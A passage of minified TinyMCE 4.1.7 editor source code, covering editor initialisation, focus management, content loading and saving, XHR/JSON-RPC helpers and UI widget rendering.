e=this.getBody();k.removeClass(e,"mce-content-body"),k.removeClass(e,"mce-edit-focus"),k.setAttrib(e,"contentEditable",null)}),k.addClass(s,"mce-content-body"),n.contentDocument=h=r.content_document||document,n.contentWindow=r.content_window||window,n.bodyElement=s,r.content_document=r.content_window=null,r.root_name=s.nodeName.toLowerCase()),m=n.getBody(),m.disabled=!0,r.readonly||(n.inline&&"static"==k.getStyle(m,"position",!0)&&(m.style.position="relative"),m.contentEditable=n.getParam("content_editable_state",!0)),m.disabled=!1,n.schema=new y(r),n.dom=new e(h,{keep_values:!0,url_converter:n.convertURL,url_converter_scope:n,hex_colors:r.force_hex_style_colors,class_filter:r.class_filter,update_styles:!0,root_element:n.inline?n.getBody():null,collect:r.content_editable,schema:n.schema,onSetAttrib:function(e){n.fire("SetAttrib",e)}}),n.parser=new b(r,n.schema),n.parser.addAttributeFilter("src,href,style,tabindex",function(e,t){for(var r=e.length,i,o=n.dom,a,s;r--;)i=e[r],a=i.attr(t),s="data-mce-"+t,i.attributes.map[s]||("style"===t?(a=o.serializeStyle(o.parseStyle(a),i.name),a.length||(a=null),i.attr(s,a),i.attr(t,a)):"tabindex"===t?(i.attr(s,a),i.attr(t,null)):i.attr(s,n.convertURL(a,t,i.name)))}),n.parser.addNodeFilter("script",function(e){for(var t=e.length,n;t--;)n=e[t],n.attr("type","mce-"+(n.attr("type")||"no/type"))}),n.parser.addNodeFilter("#cdata",function(e){for(var t=e.length,n;t--;)n=e[t],n.type=8,n.name="#comment",n.value="[CDATA["+n.value+"]]"}),n.parser.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(e){for(var t=e.length,r,i=n.schema.getNonEmptyElements();t--;)r=e[t],r.isEmpty(i)&&(r.append(new o("br",1)).shortEnded=!0)}),n.serializer=new a(r,n),n.selection=new l(n.dom,n.getWin(),n.serializer,n),n.formatter=new c(n),n.undoManager=new u(n),n.forceBlocks=new f(n),n.enterKey=new d(n),n.editorCommands=new p(n),n._nodeChangeDispatcher=new i(n),n.fire("PreInit"),r.browser_spellcheck||r.gecko_spellcheck||(h.body.spellcheck=!1,k.setAttrib(m,"spellcheck","false")),n.fire("PostRender"),n.quirks=new C(n),r.directionality&&(m.dir=r.directionality),r.nowrap&&(m.style.whiteSpace="nowrap"),r.protect&&n.on("BeforeSetContent",function(e){A(r.protect,function(t){e.content=e.content.replace(t,function(e){return"<!--mce:protected "+escape(e)+"-->"})})}),n.on("SetContent",function(){n.addVisual(n.getBody())}),r.padd_empty_editor&&n.on("PostProcess",function(e){e.content=e.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/,"")}),n.load({initial:!0,format:"html"}),n.startContent=n.getContent({format:"raw"}),n.initialized=!0,n.bindPendingEventDelegates(),n.fire("init"),n.focus(!0),n.nodeChanged({initial:!0}),n.execCallback("init_instance_callback",n),n.contentStyles.length>0&&(g="",A(n.contentStyles,function(e){g+=e+"\r\n"}),n.dom.addStyle(g)),A(n.contentCSS,function(e){n.loadedCSS[e]||(n.dom.loadCSS(e),n.loadedCSS[e]=!0)}),r.auto_focus&&setTimeout(function(){var e;e=r.auto_focus===!0?n:n.editorManager.get(r.auto_focus),e.focus()},100),s=h=m=null},focus:function(e){var t=this,n=t.selection,r=t.settings.content_editable,i,o,a=t.getDoc(),s;if(!e){if(i=n.getRng(),i.item&&(o=i.item(0)),t._refreshContentEditable(),r||(x.opera||t.getBody().focus(),t.getWin().focus()),P||r){if(s=t.getBody(),s.setActive)try{s.setActive()}catch(l){s.focus()}else s.focus();r&&n.normalize()}o&&o.ownerDocument==a&&(i=a.body.createControlRange(),i.addElement(o),i.select())}t.editorManager.setActive(t)},execCallback:function(e){var t=this,n=t.settings[e],r;if(n)return t.callbackLookup&&(r=t.callbackLookup[e])&&(n=r.func,r=r.scope),"string"==typeof n&&(r=n.replace(/\.\w+$/,""),r=r?H(r):0,n=H(n),t.callbackLookup=t.callbackLookup||{},t.callbackLookup[e]={func:n,scope:r}),n.apply(r||t,Array.prototype.slice.call(arguments,1))},translate:function(e){var t=this.settings.language||"en",n=this.editorManager.i18n;return e?n.data[t+"."+e]||e.replace(/\{\#([^\}]+)\}/g,function(e,r){return n.data[t+"."+r]||"{#"+r+"}"}):""},getLang:function(e,n){return this.editorManager.i18n.data[(this.settings.language||"en")+"."+e]||(n!==t?n:"{#"+e+"}")},getParam:function(e,t,n){var r=e in this.settings?this.settings[e]:t,i;return"hash"===n?(i={},"string"==typeof r?A(r.split(r.indexOf("=")>0?/[;,](?![^=;,]*(?:[;,]|$))/:","),function(e){e=e.split("="),i[L(e[0])]=L(e.length>1?e[1]:e)}):i=r,i):r},nodeChanged:function(e){this._nodeChangeDispatcher.nodeChanged(e)},addButton:function(e,t){var n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),t.text||t.icon||(t.icon=e),n.buttons=n.buttons||{},t.tooltip=t.tooltip||t.title,n.buttons[e]=t},addMenuItem:function(e,t){var n=this;t.cmd&&(t.onclick=function(){n.execCommand(t.cmd)}),n.menuItems=n.menuItems||{},n.menuItems[e]=t},addCommand:function(e,t,n){this.execCommands[e]={func:t,scope:n||this}},addQueryStateHandler:function(e,t,n){this.queryStateCommands[e]={func:t,scope:n||this}},addQueryValueHandler:function(e,t,n){this.queryValueCommands[e]={func:t,scope:n||this}},addShortcut:function(e,t,n,r){this.shortcuts.add(e,t,n,r)},execCommand:function(e,t,n,r){var i=this,o=0,a;if(/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(e)||r&&r.skip_focus||i.focus(),r=R({},r),r=i.fire("BeforeExecCommand",{command:e,ui:t,value:n}),r.isDefaultPrevented())return!1;if((a=i.execCommands[e])&&a.func.call(a.scope,t,n)!==!0)return i.fire("ExecCommand",{command:e,ui:t,value:n}),!0;if(A(i.plugins,function(r){return r.execCommand&&r.execCommand(e,t,n)?(i.fire("ExecCommand",{command:e,ui:t,value:n}),o=!0,!1):void 0}),o)return o;if(i.theme&&i.theme.execCommand&&i.theme.execCommand(e,t,n))return i.fire("ExecCommand",{command:e,ui:t,value:n}),!0;if(i.editorCommands.execCommand(e,t,n))return i.fire("ExecCommand",{command:e,ui:t,value:n}),!0;try{o=i.getDoc().execCommand(e,t,n)}catch(s){}return o?(i.fire("ExecCommand",{command:e,ui:t,value:n}),!0):!1},queryCommandState:function(e){var t=this,n,r;if(!t._isHidden()){if((n=t.queryStateCommands[e])&&(r=n.func.call(n.scope),r===!0||r===!1))return r;if(r=t.editorCommands.queryCommandState(e),-1!==r)return r;try{return t.getDoc().queryCommandState(e)}catch(i){}}},queryCommandValue:function(e){var n=this,r,i;if(!n._isHidden()){if((r=n.queryValueCommands[e])&&(i=r.func.call(r.scope),i!==!0))return i;if(i=n.editorCommands.queryCommandValue(e),i!==t)return i;try{return n.getDoc().queryCommandValue(e)}catch(o){}}},show:function(){var e=this;e.hidden&&(e.hidden=!1,e.inline?e.getBody().contentEditable=!0:(k.show(e.getContainer()),k.hide(e.id)),e.load(),e.fire("show"))},hide:function(){var e=this,t=e.getDoc();e.hidden||(O&&t&&!e.inline&&t.execCommand("SelectAll"),e.save(),e.inline?(e.getBody().contentEditable=!1,e==e.editorManager.focusedEditor&&(e.editorManager.focusedEditor=null)):(k.hide(e.getContainer()),k.setStyle(e.id,"display",e.orgDisplay)),e.hidden=!0,e.fire("hide"))},isHidden:function(){return!!this.hidden},setProgressState:function(e,t){this.fire("ProgressState",{state:e,time:t})},load:function(e){var n=this,r=n.getElement(),i;return r?(e=e||{},e.load=!0,i=n.setContent(r.value!==t?r.value:r.innerHTML,e),e.element=r,e.no_events||n.fire("LoadContent",e),e.element=r=null,i):void 0},save:function(e){var t=this,n=t.getElement(),r,i;if(n&&t.initialized)return e=e||{},e.save=!0,e.element=n,r=e.content=t.getContent(e),e.no_events||t.fire("SaveContent",e),r=e.content,/TEXTAREA|INPUT/i.test(n.nodeName)?n.value=r:(t.inline||(n.innerHTML=r),(i=k.getParent(t.id,"form"))&&A(i.elements,function(e){return e.name==t.id?(e.value=r,!1):void 0})),e.element=n=null,e.set_dirty!==!1&&(t.isNotDirty=!0),r},setContent:function(e,t){var n=this,r=n.getBody(),i;return t=t||{},t.format=t.format||"html",t.set=!0,t.content=e,t.no_events||n.fire("BeforeSetContent",t),e=t.content,0===e.length||/^\s+$/.test(e)?(i=n.settings.forced_root_block,i&&n.schema.isValidChild(r.nodeName.toLowerCase(),i.toLowerCase())?(e=O&&11>O?"":'<br data-mce-bogus="1">',e=n.dom.createHTML(i,n.settings.forced_root_block_attrs,e)):O||(e='<br data-mce-bogus="1">'),n.dom.setHTML(r,e),n.fire("SetContent",t)):("raw"!==t.format&&(e=new s({},n.schema).serialize(n.parser.parse(e,{isRootContent:!0}))),t.content=L(e),n.dom.setHTML(r,t.content),t.no_events||n.fire("SetContent",t)),t.content},getContent:function(e){var t=this,n,r=t.getBody();return e=e||{},e.format=e.format||"html",e.get=!0,e.getInner=!0,e.no_events||t.fire("BeforeGetContent",e),n="raw"==e.format?r.innerHTML:"text"==e.format?r.innerText||r.textContent:t.serializer.serialize(r,e),e.content="text"!=e.format?L(n):n,e.no_events||t.fire("GetContent",e),e.content},insertContent:function(e,t){t&&(e=R({content:e},t)),this.execCommand("mceInsertContent",!1,e)},isDirty:function(){return!this.isNotDirty},getContainer:function(){var e=this;return e.container||(e.container=k.get(e.editorContainer||e.id+"_parent")),e.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return this.targetElm||(this.targetElm=k.get(this.id)),this.targetElm},getWin:function(){var e=this,t;return e.contentWindow||(t=e.iframeElement,t&&(e.contentWindow=t.contentWindow)),e.contentWindow},getDoc:function(){var e=this,t;return e.contentDocument||(t=e.getWin(),t&&(e.contentDocument=t.document)),e.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(e,t,n){var r=this,i=r.settings;return i.urlconverter_callback?r.execCallback("urlconverter_callback",e,n,!0,t):!i.convert_urls||n&&"LINK"==n.nodeName||0===e.indexOf("file:")||0===e.length?e:i.relative_urls?r.documentBaseURI.toRelative(e):e=r.documentBaseURI.toAbsolute(e,i.remove_script_host)},addVisual:function(e){var n=this,r=n.settings,i=n.dom,o;e=e||n.getBody(),n.hasVisual===t&&(n.hasVisual=r.visual),A(i.select("table,a",e),function(e){var t;switch(e.nodeName){case"TABLE":return o=r.visual_table_class||"mce-item-table",t=i.getAttrib(e,"border"),void(t&&"0"!=t||!n.hasVisual?i.removeClass(e,o):i.addClass(e,o));case"A":return void(i.getAttrib(e,"href",!1)||(t=i.getAttrib(e,"name")||e.id,o=r.visual_anchor_class||"mce-item-anchor",t&&n.hasVisual?i.addClass(e,o):i.removeClass(e,o)))}}),n.fire("VisualAid",{element:e,hasVisual:n.hasVisual})},remove:function(){var e=this;e.removed||(e.save(),e.removed=1,e.unbindAllNativeEvents(),e.hasHiddenInput&&k.remove(e.getElement().nextSibling),e.inline||(O&&10>O&&e.getDoc().execCommand("SelectAll",!1,null),k.setStyle(e.id,"display",e.orgDisplay),e.getBody().onload=null),e.fire("remove"),e.editorManager.remove(e),k.remove(e.getContainer()),e.destroy())},destroy:function(e){var t=this,n;if(!t.destroyed){if(!e&&!t.removed)return void t.remove();e||(t.editorManager.off("beforeunload",t._beforeUnload),t.theme&&t.theme.destroy&&t.theme.destroy(),t.selection.destroy(),t.dom.destroy()),n=t.formElement,n&&(n._mceOldSubmit&&(n.submit=n._mceOldSubmit,n._mceOldSubmit=null),k.unbind(n,"submit reset",t.formEventDelegate)),t.contentAreaContainer=t.formElement=t.container=t.editorContainer=null,t.bodyElement=t.contentDocument=t.contentWindow=null,t.iframeElement=t.targetElm=null,t.selection&&(t.selection=t.selection.win=t.selection.dom=t.selection.dom.doc=null),t.destroyed=1}},_refreshContentEditable:function(){var e=this,t,n;e._isHidden()&&(t=e.getBody(),n=t.parentNode,n.removeChild(t),n.appendChild(t),t.focus())},_isHidden:function(){var e;return P?(e=this.selection.getSel(),!e||!e.rangeCount||0===e.rangeCount):0}},R(N.prototype,_),N}),r(ft,[],function(){var e={};return{rtl:!1,add:function(t,n){for(var r in n)e[r]=n[r];this.rtl=this.rtl||"rtl"===e._dir},translate:function(t){if("undefined"==typeof t)return t;if("string"!=typeof t&&t.raw)return t.raw;if(t.push){var n=t.slice(1);t=(e[t[0]]||t[0]).replace(/\{([^\}]+)\}/g,function(e,t){return n[t]})}return e[t]||t},data:e}}),r(pt,[y,u],function(e,t){function n(e){function s(){try{return document.activeElement}catch(e){return document.body}}function l(e,t){if(t&&t.startContainer){if(!e.isChildOf(t.startContainer,e.getRoot())||!e.isChildOf(t.endContainer,e.getRoot()))return;return{startContainer:t.startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset}}return t}function c(e,t){var n;return t.startContainer?(n=e.getDoc().createRange(),n.setStart(t.startContainer,t.startOffset),n.setEnd(t.endContainer,t.endOffset)):n=t,n}function u(e){return!!a.getParent(e,n.isEditorUIElement)}function d(n){var d=n.editor;d.on("init",function(){(d.inline||t.ie)&&("onbeforedeactivate"in document&&t.ie<9?d.dom.bind(d.getBody(),"beforedeactivate",function(e){if(e.target==d.getBody())try{d.lastRng=d.selection.getRng()}catch(t){}}):d.on("nodechange mouseup keyup",function(e){var t=s();"nodechange"==e.type&&e.selectionChange||(t&&t.id==d.id+"_ifr"&&(t=d.getBody()),d.dom.isChildOf(t,d.getBody())&&(d.lastRng=d.selection.getRng()))}),t.webkit&&!r&&(r=function(){var t=e.activeEditor;if(t&&t.selection){var n=t.selection.getRng();n&&!n.collapsed&&(d.lastRng=n)}},a.bind(document,"selectionchange",r)))}),d.on("setcontent",function(){d.lastRng=null}),d.on("mousedown",function(){d.selection.lastFocusBookmark=null}),d.on("focusin",function(){var t=e.focusedEditor;d.selection.lastFocusBookmark&&(d.selection.setRng(c(d,d.selection.lastFocusBookmark)),d.selection.lastFocusBookmark=null),t!=d&&(t&&t.fire("blur",{focusedEditor:d}),e.setActive(d),e.focusedEditor=d,d.fire("focus",{blurredEditor:t}),d.focus(!0)),d.lastRng=null}),d.on("focusout",function(){window.setTimeout(function(){var t=e.focusedEditor;u(s())||t!=d||(d.fire("blur",{focusedEditor:null}),e.focusedEditor=null,d.selection&&(d.selection.lastFocusBookmark=null))},0)}),i||(i=function(t){var n=e.activeEditor;n&&t.target.ownerDocument==document&&(n.selection&&t.target!=n.getBody()&&(n.selection.lastFocusBookmark=l(n.dom,n.lastRng)),t.target==document.body||u(t.target)||e.focusedEditor!=n||(n.fire("blur",{focusedEditor:null}),e.focusedEditor=null))},a.bind(document,"focusin",i)),d.inline&&!o&&(o=function(t){var n=e.activeEditor;if(n.inline&&!n.dom.isChildOf(t.target,n.getBody())){var r=n.selection.getRng();r.collapsed||(n.lastRng=r)}},a.bind(document,"mouseup",o))}function f(t){e.focusedEditor==t.editor&&(e.focusedEditor=null),e.activeEditor||(a.unbind(document,"selectionchange",r),a.unbind(document,"focusin",i),a.unbind(document,"mouseup",o),r=i=o=null)}e.on("AddEditor",d),e.on("RemoveEditor",f)}var r,i,o,a=e.DOM;return n.isEditorUIElement=function(e){return-1!==e.className.toString().indexOf("mce-")},n}),r(ht,[dt,f,y,V,u,d,lt,ft,pt],function(e,t,n,r,i,o,a,s,l){function c(e){var t=v.editors,n;delete t[e.id];for(var r=0;r<t.length;r++)if(t[r]==e){t.splice(r,1),n=!0;break}return v.activeEditor==e&&(v.activeEditor=t[0]),v.focusedEditor==e&&(v.focusedEditor=null),n}function u(e){return e&&!(e.getContainer()||e.getBody()).parentNode&&(c(e),e.unbindAllNativeEvents(),e.destroy(!0),e=null),e}var d=n.DOM,f=o.explode,p=o.each,h=o.extend,m=0,g,v;return v={$:t,majorVersion:"4",minorVersion:"1.7",releaseDate:"2014-11-27",editors:[],i18n:s,activeEditor:null,setup:function(){var e=this,t,n,i="",o,a;if(n=document.location.href,/^[^:]+:\/\/\/?[^\/]+\//.test(n)&&(n=n.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(n)||(n+="/")),o=window.tinymce||window.tinyMCEPreInit)t=o.base||o.baseURL,i=o.suffix;else{for(var s=document.getElementsByTagName("script"),c=0;c<s.length;c++)if(a=s[c].src,/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(a)){-1!=a.indexOf(".min")&&(i=".min"),t=a.substring(0,a.lastIndexOf("/"));break}!t&&document.currentScript&&(a=document.currentScript.src,-1!=a.indexOf(".min")&&(i=".min"),t=a.substring(0,a.lastIndexOf("/")))}e.baseURL=new r(n).toAbsolute(t),e.documentBaseURL=n,e.baseURI=new r(e.baseURL),e.suffix=i,e.focusManager=new l(e)},init:function(t){function n(e){var t=e.id;return t||(t=e.name,t=t&&!d.get(t)?e.name:d.uniqueId(),e.setAttribute("id",t)),t}function r(t,n,r){if(!u(s.get(t))){var i=new e(t,n,s);i.targetElm=i.targetElm||r,l.push(i),i.render()}}function i(e){var n=t[e];if(n)return n.apply(s,Array.prototype.slice.call(arguments,2))}function o(e,t){return t.constructor===RegExp?t.test(e.className):d.hasClass(e,t)}function a(){var e,s;if(d.unbind(window,"ready",a),i("onpageload"),t.types)return void p(t.types,function(e){p(d.select(e.selector),function(i){r(n(i),h({},t,e),i)})});if(t.selector)return void p(d.select(t.selector),function(e){r(n(e),t,e)});switch(t.target&&r(n(t.target),t),t.mode){case"exact":e=t.elements||"",e.length>0&&p(f(e),function(e){var n;(n=d.get(e))?r(e,t,n):p(document.forms,function(n){p(n.elements,function(n){n.name===e&&(e="mce_editor_"+m++,d.setAttrib(n,"id",e),r(e,t,n))})})});break;case"textareas":case"specific_textareas":p(d.select("textarea"),function(e){t.editor_deselector&&o(e,t.editor_deselector)||(!t.editor_selector||o(e,t.editor_selector))&&r(n(e),t,e)})}t.oninit&&(e=s=0,p(l,function(t){s++,t.initialized?e++:t.on("init",function(){e++,e==s&&i("oninit")}),e==s&&i("oninit")}))}var s=this,l=[];s.settings=t,d.bind(window,"ready",a)},get:function(e){return arguments.length?e in this.editors?this.editors[e]:null:this.editors},add:function(e){var t=this,n=t.editors;return n[e.id]=e,n.push(e),t.activeEditor=e,t.fire("AddEditor",{editor:e}),g||(g=function(){t.fire("BeforeUnload")},d.bind(window,"beforeunload",g)),e},createEditor:function(t,n){return this.add(new e(t,n,this))},remove:function(e){var t=this,n,r=t.editors,i;{if(e)return"string"==typeof e?(e=e.selector||e,void p(d.select(e),function(e){i=r[e.id],i&&t.remove(i)})):(i=e,r[i.id]?(c(i)&&t.fire("RemoveEditor",{editor:i}),r.length||d.unbind(window,"beforeunload",g),i.remove(),i):null);for(n=r.length-1;n>=0;n--)t.remove(r[n])}},execCommand:function(t,n,r){var i=this,o=i.get(r);switch(t){case"mceAddEditor":return i.get(r)||new e(r,i.settings,i).render(),!0;case"mceRemoveEditor":return o&&o.remove(),!0;case"mceToggleEditor":return o?(o.isHidden()?o.show():o.hide(),!0):(i.execCommand("mceAddEditor",0,r),!0)}return i.activeEditor?i.activeEditor.execCommand(t,n,r):!1},triggerSave:function(){p(this.editors,function(e){e.save()})},addI18n:function(e,t){s.add(e,t)},translate:function(e){return s.translate(e)},setActive:function(e){var t=this.activeEditor;this.activeEditor!=e&&(t&&t.fire("deactivate",{relatedTarget:e}),e.fire("activate",{relatedTarget:t})),this.activeEditor=e}},h(v,a),v.setup(),window.tinymce=window.tinyMCE=v,v}),r(mt,[ht,d],function(e,t){var n=t.each,r=t.explode;e.on("AddEditor",function(e){var t=e.editor;t.on("preInit",function(){function e(e,t){n(t,function(t,n){t&&s.setStyle(e,n,t)}),s.rename(e,"span")}function i(e){s=t.dom,l.convert_fonts_to_spans&&n(s.select("font,u,strike",e.node),function(e){o[e.nodeName.toLowerCase()](s,e)})}var o,a,s,l=t.settings;l.inline_styles&&(a=r(l.font_size_legacy_values),o={font:function(t,n){e(n,{backgroundColor:n.style.backgroundColor,color:n.color,fontFamily:n.face,fontSize:a[parseInt(n.size,10)-1]})},u:function(t,n){e(n,{textDecoration:"underline"})},strike:function(t,n){e(n,{textDecoration:"line-through"})}},t.on("PreProcess SetContent",i))})})}),r(gt,[lt,d],function(e,t){var n={send:function(e){function t(){!e.async||4==r.readyState||i++>1e4?(e.success&&1e4>i&&200==r.status?e.success.call(e.success_scope,""+r.responseText,r,e):e.error&&e.error.call(e.error_scope,i>1e4?"TIMED_OUT":"GENERAL",r,e),r=null):setTimeout(t,10)}var r,i=0;if(e.scope=e.scope||this,e.success_scope=e.success_scope||e.scope,e.error_scope=e.error_scope||e.scope,e.async=e.async===!1?!1:!0,e.data=e.data||"",r=new XMLHttpRequest){if(r.overrideMimeType&&r.overrideMimeType(e.content_type),r.open(e.type||(e.data?"POST":"GET"),e.url,e.async),e.crossDomain&&(r.withCredentials=!0),e.content_type&&r.setRequestHeader("Content-Type",e.content_type),r.setRequestHeader("X-Requested-With","XMLHttpRequest"),r=n.fire("beforeSend",{xhr:r,settings:e}).xhr,r.send(e.data),!e.async)return t();setTimeout(t,10)}}};return t.extend(n,e),n}),r(vt,[],function(){function e(t,n){var r,i,o,a;if(n=n||'"',null===t)return"null";if(o=typeof t,"string"==o)return i="\bb	t\nn\ff\rr\"\"''\\\\",n+t.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(e,t){return'"'===n&&"'"===e?e:(r=i.indexOf(t),r+1?"\\"+i.charAt(r+1):(e=t.charCodeAt().toString(16),"\\u"+"0000".substring(e.length)+e))})+n;if("object"==o){if(t.hasOwnProperty&&"[object Array]"===Object.prototype.toString.call(t)){for(r=0,i="[";r<t.length;r++)i+=(r>0?",":"")+e(t[r],n);return i+"]"}i="{";for(a in t)t.hasOwnProperty(a)&&(i+="function"!=typeof t[a]?(i.length>1?","+n:n)+a+n+":"+e(t[a],n):"");return i+"}"}return""+t}return{serialize:e,parse:function(e){try{return window[String.fromCharCode(101)+"val"]("("+e+")")}catch(t){}}}}),r(yt,[vt,gt,d],function(e,t,n){function r(e){this.settings=i({},e),this.count=0}var i=n.extend;return r.sendRPC=function(e){return(new r).send(e)},r.prototype={send:function(n){var r=n.error,o=n.success;n=i(this.settings,n),n.success=function(t,i){t=e.parse(t),"undefined"==typeof t&&(t={error:"JSON Parse error."}),t.error?r.call(n.error_scope||n.scope,t.error,i):o.call(n.success_scope||n.scope,t.result)},n.error=function(e,t){r&&r.call(n.error_scope||n.scope,e,t)},n.data=e.serialize({id:n.id||"c"+this.count++,method:n.method,params:n.params}),n.content_type="application/json",t.send(n)}},r}),r(bt,[y],function(e){return{callbacks:{},count:0,send:function(n){var r=this,i=e.DOM,o=n.count!==t?n.count:r.count,a="tinymce_jsonp_"+o;r.callbacks[o]=function(e){i.remove(a),delete r.callbacks[o],n.callback(e)},i.add(i.doc.body,"script",{id:a,src:n.url,type:"text/javascript"}),r.count++}}}),r(Ct,[],function(){function e(){s=[];for(var e in a)s.push(e);i.length=s.length}function n(){function n(e){var n,r;return r=e!==t?u+e:i.indexOf(",",u),-1===r||r>i.length?null:(n=i.substring(u,r),u=r+1,n)}var r,i,s,u=0;if(a={},c){o.load(l),i=o.getAttribute(l)||"";do{var d=n();if(null===d)break;if(r=n(parseInt(d,32)||0),null!==r){if(d=n(),null===d)break;s=n(parseInt(d,32)||0),r&&(a[r]=s)}}while(null!==r);e()}}function r(){var t,n="";if(c){for(var r in a)t=a[r],n+=(n?",":"")+r.length.toString(32)+","+r+","+t.length.toString(32)+","+t;o.setAttribute(l,n);try{o.save(l)}catch(i){}e()}}var i,o,a,s,l,c;try{if(window.localStorage)return localStorage}catch(u){}return l="tinymce",o=document.documentElement,c=!!o.addBehavior,c&&o.addBehavior("#default#userData"),i={key:function(e){return s[e]},getItem:function(e){return e in a?a[e]:null},setItem:function(e,t){a[e]=""+t,r()},removeItem:function(e){delete a[e],r()},clear:function(){a={},r()}},n(),i}),r(xt,[y,l,b,C,d,u],function(e,t,n,r,i,o){var a=window.tinymce;return a.DOM=e.DOM,a.ScriptLoader=n.ScriptLoader,a.PluginManager=r.PluginManager,a.ThemeManager=r.ThemeManager,a.dom=a.dom||{},a.dom.Event=t.Event,i.each(i,function(e,t){a[t]=e}),i.each("isOpera isWebKit isIE isGecko isMac".split(" "),function(e){a[e]=o[e.substr(2).toLowerCase()]}),{}}),r(wt,[U,d],function(e,t){return e.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(e){this.settings=t.extend({},this.Defaults,e)},preRender:function(e){e.addClass(this.settings.containerClass,"body")},applyClasses:function(e){var t=this,n=t.settings,r,i,o;r=e.items().filter(":visible"),i=n.firstControlClass,o=n.lastControlClass,r.each(function(e){e.removeClass(i).removeClass(o),n.controlClass&&e.addClass(n.controlClass)}),r.eq(0).addClass(i),r.eq(-1).addClass(o)},renderHtml:function(e){var t=this,n=t.settings,r,i="";
+return r=e.items(),r.eq(0).addClass(n.firstControlClass),r.eq(-1).addClass(n.lastControlClass),r.each(function(e){n.controlClass&&e.addClass(n.controlClass),i+=e.renderHtml()}),i},recalc:function(){},postRender:function(){}})}),r(_t,[wt],function(e){return e.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(e){e.items().filter(":visible").each(function(e){var t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&&e.recalc()})},renderHtml:function(e){return'<div id="'+e._id+'-absend" class="'+e.classPrefix+'abs-end"></div>'+this._super(e)}})}),r(Et,[K,tt],function(e,t){return e.extend({Mixins:[t],Defaults:{classes:"widget tooltip tooltip-n"},text:function(e){var t=this;return"undefined"!=typeof e?(t._value=e,t._rendered&&(t.getEl().lastChild.innerHTML=t.encode(e)),t):t._value},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes()+'" role="presentation"><div class="'+t+'tooltip-arrow"></div><div class="'+t+'tooltip-inner">'+e.encode(e._text)+"</div></div>"},repaint:function(){var e=this,t,n;t=e.getEl().style,n=e._layoutRect,t.left=n.x+"px",t.top=n.y+"px",t.zIndex=131070}})}),r(Nt,[K,Et],function(e,t){var n,r=e.extend({init:function(e){var t=this;t._super(e),e=t.settings,t.canFocus=!0,e.tooltip&&r.tooltips!==!1&&(t.on("mouseenter",function(n){var r=t.tooltip().moveTo(-65535);if(n.control==t){var i=r.text(e.tooltip).show().testMoveRel(t.getEl(),["bc-tc","bc-tl","bc-tr"]);r.toggleClass("tooltip-n","bc-tc"==i),r.toggleClass("tooltip-nw","bc-tl"==i),r.toggleClass("tooltip-ne","bc-tr"==i),r.moveRel(t.getEl(),i)}else r.hide()}),t.on("mouseleave mousedown click",function(){t.tooltip().hide()})),t.aria("label",e.ariaLabel||e.tooltip)},tooltip:function(){return n||(n=new t({type:"tooltip"}),n.renderTo()),n},active:function(e){var t=this,n;return e!==n&&(t.aria("pressed",e),t.toggleClass("active",e)),t._super(e)},disabled:function(e){var t=this,n;return e!==n&&(t.aria("disabled",e),t.toggleClass("disabled",e)),t._super(e)},postRender:function(){var e=this,t=e.settings;e._rendered=!0,e._super(),e.parent()||!t.width&&!t.height||(e.initLayoutRect(),e.repaint()),t.autofocus&&e.focus()},remove:function(){this._super(),n&&(n.remove(),n=null)}});return r}),r(kt,[Nt],function(e){return e.extend({Defaults:{classes:"widget btn",role:"button"},init:function(e){var t=this,n;t.on("click mousedown",function(e){e.preventDefault()}),t._super(e),n=e.size,e.subtype&&t.addClass(e.subtype),n&&t.addClass("btn-"+n)},icon:function(e){var t=this,n=t.classPrefix;if("undefined"==typeof e)return t.settings.icon;if(t.settings.icon=e,e=e?n+"ico "+n+"i-"+t.settings.icon:"",t._rendered){var r=t.getEl().firstChild,i=r.getElementsByTagName("i")[0];e?(i&&i==r.firstChild||(i=document.createElement("i"),r.insertBefore(i,r.firstChild)),i.className=e):i&&r.removeChild(i),t.text(t._text)}return t},repaint:function(){var e=this.getEl().firstChild.style;e.width=e.height="100%",this._super()},text:function(e){var t=this;if(t._rendered){var n=t.getEl().lastChild.lastChild;n&&(n.data=t.translate(e))}return t._super(e)},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,r=e.settings.icon,i;return i=e.settings.image,i?(r="none","string"!=typeof i&&(i=window.getSelection?i[0]:i[1]),i=" style=\"background-image: url('"+i+"')\""):i="",r=e.settings.icon?n+"ico "+n+"i-"+r:"",'<div id="'+t+'" class="'+e.classes()+'" tabindex="-1" aria-labelledby="'+t+'"><button role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+i+"></i>":"")+(e._text?(r?"\xa0":"")+e.encode(e._text):"")+"</button></div>"}})}),r(St,[J],function(e){return e.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var e=this,t=e._layout;return e.addClass("btn-group"),e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes()+'"><div id="'+e._id+'-body">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}})}),r(Tt,[Nt],function(e){return e.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(e){var t=this;t._super(e),t.on("click mousedown",function(e){e.preventDefault()}),t.on("click",function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){var t=this;return"undefined"!=typeof e?(e?t.addClass("checked"):t.removeClass("checked"),t._checked=e,t.aria("checked",e),t):t._checked},value:function(e){return this.checked(e)},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix;return'<div id="'+t+'" class="'+e.classes()+'" unselectable="on" aria-labelledby="'+t+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span 